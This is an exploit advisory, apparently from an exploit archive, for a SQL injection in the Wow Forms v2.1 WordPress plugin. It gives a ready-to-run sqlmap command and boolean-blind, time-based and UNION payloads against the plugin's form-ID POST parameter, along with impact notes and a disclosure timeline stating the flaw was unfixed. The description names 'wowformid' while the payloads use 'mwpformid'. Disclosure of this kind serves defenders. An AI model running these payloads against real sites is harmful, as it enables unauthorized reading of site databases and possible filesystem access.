51 lines
No EOL
2.3 KiB
Text
51 lines
No EOL
2.3 KiB
Text
# Exploit Title: Wow Forms v2.1 WordPress Plugin SQL Injection
|
|
# Date: 29/03/2017
|
|
# Exploit Author: TAD GROUP
|
|
# Vendor Homepage: http://wow-company.com/
|
|
# Software Link: https://wordpress.org/plugins/mwp-forms/
|
|
# Version: 2.1
|
|
# Contact: info[at]tad.group
|
|
# Website: https://tad.group
|
|
# Category: Web Application Exploits
|
|
|
|
1. Description
|
|
|
|
An unescaped parameter was found in Wow Forms v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
|
|
The POST parameter 'wowformid' is vulnerable.
|
|
|
|
2. Proof of concept
|
|
|
|
sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=send_mwp_form&arrkey%5B%5D=mwp-field-0&arrkey%5B%5D=mwp-forms-textarea-0&arrval%5B%5D=form2&arrval%5B%5D=rrr&mwpformid=1*" --dbs --threads=10 --random-agent --dbms mysql
|
|
|
|
Parameter: Array-like #6* ((custom) POST)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND 6968=6968
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
|
|
Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND (SELECT * FROM (SELECT(SLEEP(5)))gxQa)
|
|
|
|
Type: UNION query
|
|
Title: Generic UNION query (NULL) - 65 columns
|
|
Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x6b656f4d516d7a6b736f596f49746d4e776a7663716f4d41654c6e516e516c6c6c7a5274744a6d57,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL— -
|
|
|
|
3. Attack outcome:
|
|
|
|
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
|
|
|
|
4. Impact
|
|
|
|
Critical
|
|
|
|
5. Affected versions
|
|
|
|
<= 2.1
|
|
|
|
6. Disclosure timeline
|
|
|
|
15-Mar-2017 - found the vulnerability
|
|
15-Mar-2017 - informed the developer
|
|
29-Mar-2017 - release date of this security advisory
|
|
|
|
Not fixed at the date of submitting this exploit. |